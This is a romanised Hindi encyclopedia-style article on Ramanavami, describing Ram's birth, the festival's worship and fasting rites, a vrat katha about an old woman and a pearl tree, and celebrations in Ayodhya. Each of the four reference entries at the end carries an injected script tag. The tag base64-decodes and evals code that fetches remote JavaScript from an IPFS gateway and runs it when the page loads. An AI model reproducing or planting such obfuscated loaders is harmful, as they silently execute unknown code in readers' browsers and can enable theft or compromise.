रामनवमी
ramanavami
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| anuyayi | hiandoo, bharatiy |
| uddeshy | ramanavami ko ram ke janhmadin ki shmriti mean manaya jata hai. |
| prarambh | pauranik kal |
| tithi | chaitr shukl paksh ki navami |
| utsav | ramanavami ke vrat ke din mandir mean athava makan par dhvaja, pataka, toran aur bandanavar adi se sajane ka vishesh vidhi-vidhan hai. vrat ke din kalash sthapana aur ram ji ke parivar ki pooja karani chahie, aur bhagavan shri ram ka dinabhar bhajan, smaran, stotrapath, dan, puny, havan, pitrishradv aur utsav kiya jana chahie. |
| dharmik manyata | treta yug mean chaitr shukl navami ke din raghukul shiromani maharaj dasharath evan maharani kaushalya ke yahaan akhil brahmand nayak ram ne putr ke roop mean janm liya tha. |
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ramanavami ek aisa parv hai, jis par chaitr mas ke shukl paksh ki pratipada ko prativarsh naye vikram sanvatsar ka praranbh hota hai aur usake ath din bad hi chaitr shukl paksh ki navami ko ek parv ram janmotsav ka, jise 'ramanavami' ke nam se jana jata hai, samast desh mean manaya jata hai. is desh ki ram aur krishna do aisi mahimashali vibhootiyaan rahi haian, jinaka amit prabhav samooche bharat ke janamanas par sadiyoan se anavarat chala a raha hai.[1]
ramanavami, bhagavan ram ki shmriti ko samarpit hai. ram sadachar ke pratik haian, aur inhean "maryada purushotam" kaha jata hai. ramanavami ko ram ke janhmadin ki shmriti mean manaya jata hai. ram ko bhagavan vishnu ka avatar mana jata hai, jo prithvi par ajey ravan (manushhy roop mean asur raja) se yuddh l dane ke lie ae. ram rajhy (ram ka shasan) shaanti v samriddhi ki avadhi ka paryayavachi ban gaya hai. ramanavami ke din, shraddhalu b di sankhhya mean unake janhmothsav ko manane ke lie ram ji ki moortiyoan ko palane mean jhulate haian. is mahanh raja ki kavhy tulasi ramayan mean ram ki kahani ka varnan hai.
maryada purushottam
bhagavan vishnu ne ram roop mean asuroan ka sanhar karane ke lie prithvi par avatar liya aur jivan mean maryada ka palan karate hue maryada purushottam kahalae. aj bhi maryada purushottam ram ka janmotsav to dhoomadham se manaya jata hai par unake adarshoan ko jivan mean nahian utara jata. ayodhya ke rajakumar hote hue bhi bhagavan ram apane pita ke vachanoan ko poora karane ke lie sanpoorn vaibhav ko tyag 14 varsh ke lie van chale ge aur aj dekhean to vaibhav ki lalasa mean hi putr apane mata-pita ka kal ban raha hai.
ram ka janm
purushotam bhagavan ram ka janm chaitr mas ki shukl paksh ki navami ko punarvasu nakshatr tatha kark lagn mean kaushalya ki kokh se hua tha. yah din bharatiy jivan mean puny parv mana jata haian. is din sarayoo nadi mean snan karake log puny labh kamate haian.
agastyasanhita ke anusar
mangal bhavan amangal hari,
dॄvahusu dasharath ajir bihari॥
agastyasanhita ke anusar chaitr shukl paksh ki navami, ke din punarvasu nakshatr, karkalaghn mean jab soory anyany paanch grahoan ki shubh drishti ke sath mesh rashi par virajaman the, tabhi sakshath bhagavanh shriram ka mata kaushalya ke garbh se janm hua.
dharmik drishti se chaitr shukl navami ka vishesh mahatv hai. treta yug mean chaitr shukl navami ke din raghukul shiromani maharaj dasharath evan maharani kaushalya ke yahaan akhil brahmand nayak akhilesh ne putr ke roop mean janm liya tha. ram ka janm din ke barah baje hua tha, jaise hi sauandary niketan, shankh, chakr, gada, padm dharan kie hue chaturbhujadhari shriram prakat hue to mata kaushalya unhean dekhakar vismit ho geean. ram ke sauandary v tej ko dekhakar unake netr tript nahian ho rahe the. devalok bhi avadh ke samane shriram ke janmotsav ko dekhakar phika lag raha tha. janmotsav mean devata, rrishi, kinnar, charan sabhi shamil hokar anand utha rahe the. ham prativarsh chaitr shukl navami ko ram janmotsav manate haian aur ramamay hokar kirtan, bhajan, katha adi mean ram jate haian. ramanavami ke din hi gosvami tulasidas ne ramacharitamanas ki rachana ka shriganesh kiya tha.
ramanavami ki pooja
hindoo dharm mean ramanavami ke din pooja ki jati hai. ramanavami ki pooja ke lie avashhyak samagri roli, aipan, chaval, jal, phool, ek ghanti aur ek shankh haian. pooja ke bad parivar ki sabase chhoti mahila sadashy parivar ke sabhi sadashyoan ko tika lagati hai. ramanavami ki pooja mean pahale devataoan par jal, roli aur aipan chadhaya jata hai, isake bad moortiyoan par mutthi bharake chaval chadhaye jate haian. pooja ke bad arati ki jati hai aur arati ke bad gangajal athava sada jal ekatrit hue sabhi janoan par chhi daka jata hai.
ramanavami vrat
ramanavami ke din jo vyakti poore din upavas rakhakar bhagavan shriram ki pooja karata hai, tatha apani arthik sthiti ke anusar dan-puny karata hai, vah anek janmoan ke papoan ko bhasm karane mean samarth hota hai.
vidhi
ramanavami ka vrat mahilaoan ke dvara kiya jata hai. is din vrat karane vali mahila ko prat: subah uthana chahie. ghar ki saph-saphaee kar ghar mean gangajal chhi dak kar shuddh kar lena chahie. isake pashchath snan karake vrat ka sankalp lena chahie. isake bad ek lak di ke chaukor tuk de par satiya banakar ek jal se bhara gilas rakhana chahie aur apani aanguli se chaandi ka chhalla nikal kar rakhana chahie. ise pratik rup se ganeshaji mana jata hai. vrat katha sunate samay hath mean gehooan-bajara adi ke dane lekar kahani sunane ka bhi mahatv kaha gaya hai.[2] ramanavami ke vrat ke din mandir mean athava makan par dhvaja, pataka, toran aur bandanavar adi se sajane ka vishesh vidhi-vidhan hai. vrat ke din kalash sthapana aur ram ji ke parivar ki pooja karani chahie, aur bhagavan shri ram ka dinabhar bhajan, smaran, stotrapath, dan, puny, havan, pitrishradv aur utsav kiya jana chahie.
ramanavami vrat katha
ram, sita aur lakshman van mean ja rahe the. sita ji aur lakshman ko thaka hua dekhakar ram ji ne tho da rukakar aram karane ka vichar kiya aur ek budhiya ke ghar ge. budhiya soot kat rahi thi. budhiya ne unaki avabhagat ki aur baithaya, snan-dhyan karavakar bhojan karavaya. ram ji ne kaha- budhiya maee, "pahale mera hans moti chugao, to mean bhi karooan." budhiya bechari ke pas moti kahaan se avean, soot kat kar garib guzara karati thi. atithi ko na kahana bhi vah thik nahian samajhati thi. duvidha mean p d gee. at: dil ko mazaboot kar raja ke pas pahuanch gee. aur aanjali moti dene ke liye vinati karane lagi. raja achambhe mean p da ki isake pas khane ko dane nahian haian aur moti udhar maang rahi hai. is sthiti mean budhiya se moti vapas prapt hone ka to saval hi nahian uthata. akhir raja ne apane naukaroan se kahakar budhiya ko moti dila diye.[2] [[chitr:Ramayana.jpg|thumb|ram, lakshman aur sita]] budhiya moti lekar ghar aee, hans ko moti chugae aur mehamanoan ki avabhagat ki. rat ko aram kar savere ram ji, sita ji aur lakshman ji jane lage. ram ji ne jate hue usake pani rakhane ki jagah par motiyoan ka ek pe d laga diya. din bitate gaye aur pe d b da hua, pe d badhane laga, par budhiya ko ku़chh pata nahian chala. moti ke pe d se pas-p daus ke log chug-chugakar moti le jane lage.
ek din jab budhiya usake niche baithi soot kat rahi thi. to usaki god mean ek moti akar gira. budhiya ko tab jnat hua. usane jaldi se moti baandhe aur apane kap de mean baandhakar vah qile ki or le chali़. usane moti ki potali raja ke samane rakh di. itane sare moti dekh raja achambhe mean p d gaya. usake poochhane par budhiya ne raja ko sari bat bata di. raja ke man mean lalach a gaya. vah budhiya se moti ka pe d maangane laga. budhiya ne kaha ki as-pas ke sabhi log le jate haian. ap bhi chahe to le lean. mujhe kya karana hai. raja ne turant pe d mangavaya aur apane darabar mean lagava diya. par ramaji ki marji, motiyoan ki jagah kaante ho gaye aur ate-ate logoan ke kap de un kaantoan se kharab hone lage. ek din rani ki ai di mean ek kaanta chubh gaya aur pi da karane laga. raja ne pe d uthavakar budhiya ke ghar vapas bhijava diya. pe d par pahale ki tarah se moti lagane lage. budhiya aram se rahati aur khoob moti baantati.
vrat ka phal
shri ramanavami ka vrat karane se vyakti ke jnan mean vrihddhi hoti hai. usaki dhairy shakti ka vistar hota hai. isake atirikt upavasak ko vichar shakti, buddhi, shraddha, bhakti aur pavitrata ki bhi vrihddhi hoti hai. is vrat ke vishay mean kaha jata hai, ki jab is vrat ko nishkam bhav se kiya jata hai. aur ajivan kiya jata hai, to is vrat ke phal sarvadhik prapt hote haian.[2] ramanavami aur janmashtami to ullasapoorvak manate haian par unake karm v sandesh ko nahian apanate. krishna dvara arjun ko diya gaya gita jnan aj sirph ek granth banakar rah gaya hai. tulasidasaji ne ramacharitamanas mean bhagavan ram ke jivan ka varnan karate hue bataya hai ki shriram pratah apane mata-pita ke charan sparsh karate the jabaki aj charan sparsh to door bachche mata-pita ki bat tak nahian manate.[3]
uddeshy
bhagavan shriram ji ne apane jivan ka uddeshy adharm ka nash kar dharm ki sthapana karana bataya par usase unaka ashay yah tha ki am iansan shaanti ke sath jivan vyatit kar sake aur bhagavan ki bhakti kar sake. unhoanne n to kisi prakar ke dharm ka namakaran kiya aur n hi kisi vishesh prakar ki bhakti ka prachar kiya.
bhakti aur jnan
bhakti ka charam shikhar kisi ne prapt kiya hai to unamean sabase b da nam sant kabir aur tulasidasaji ka hai. mira aur soor bhi isi kram mean ate haian. valmiki aur vedavyas ko jnaniyoan mean charam shikhar ke pratik man sakate haian. eeshvar ko prapt karane ke donoan marg- bhakti aur jnan haian. bhagavan ko bhakti aur jnan donoan hi priy haian. valmiki aur vedavyas ne jnan marg ko chuna to vah samaj ko aisi rachanaean de gaye ki sadiyoan tak unaki chamak phiki nahian p d sakati aur kabir, tulasi, soor, aur mira ne bhakti ka sarvochch shikhar chhookar yah dikha diya hai ki is kaliyug mean bhi bhagavan bhakti mean kitani shakti hai. sant kabir ji ne apani rachanaoan mean bhakti aur jnan donoan ka samavesh is tarah kiya ki vartaman samay mean koee aisa kar sakata hai yah sochana bhi kathin hai.
ayodhya ki ramanavami
[[chitr:Ramlila-Mathura-3.jpg|thumb|250px|ramajanm, ramalila, mathura]] ramanavami ke roop mean hinduoan ke aradhy dev bhagavan shriramachandr ka janmadin desh bhar mean manaya jata hai, lekin ayodhya mean ramanavami bahut dhoomadham se manaee jati hai. ayodhya mean is din mela lagata hai. desh ke kone-kone se lakhoan shraddhalu is mele mean pahuanchate haian. prachinakal se hi dharm evan sanskriti ki param pavan sthali ke roop mean bhagavan shriram ki janmasthali ayodhya vikhyat hai. treta-yugin sooryavanshiy nareshoan ki rajadhani rahi ayodhya puratatvik drishti se bhi mahattv rakhati hai. chini yatri phahyan v hvenasaang ne bhi apane yatra vrittaantoan mean is nagari ka varnan kiya hai. ramanavami ke din bhagavan ram ke janmotsav ke pavan parv par desh-videsh se lakhoan shraddhalu bhaktajan ayodhya ki sarayoo nadi ke tat par prat:kal se hi snan kar mandiroan mean darshan tatha pooja karate haian. is din jagah-jagah santoan ke pravachan, bhajan, kirtan chalate rahate haian. ayodhya ke prasiddh kaushalya bhavan mandir mean vishesh ayojan hote haian. ayodhya ke pramukh darshaniy evan aitihasik sthaloan mean shriram janmabhoomi ke alava kaushalya bhavan, kanak bhavan, kaikeyi bhavan, kop bhavan tatha shriram ke rajyabhishek ka sthan ratn sianhasan darshaniy haian.
parikrama
ayodhya bhinn-bhinn utsavoan par ki jane vali pramukh parikramaoan ke lie bhi prasiddh hai, jaise chaurasi kosi parikrama, ramanavami ke avasar par chaudah kosi parikrama, akshay navami par paanch kosi parikrama, kartik ki ekadashi ke avasar par tatha aantargrahi parikrama nity-prati hoti haian tatha ayodhya ke sabhi pramukh mandir evan tirth is parikrama mean a jate haian.[4]
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tika tippani aur sandarbh
- ↑ ramanavami parv aur hamari saanskritik parampara (hindi) (papiras klab) laiv hiandustan. abhigaman tithi: 9 aprail, 2011.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ 2.0 2.1 2.2 ramanavami (hindi) jyotish bl aaug. abhigaman tithi: 9 aprail, 2011.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ ramanavami (hindi) (ech ti em) vebaduniya. abhigaman tithi: 9 aprail, 2011.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ ramanavami mela (hindi) (ech ti em el) laiv hiandustan. abhigaman tithi: 9 aprail, 2011.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
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varnamala kramanusar lekh khoj
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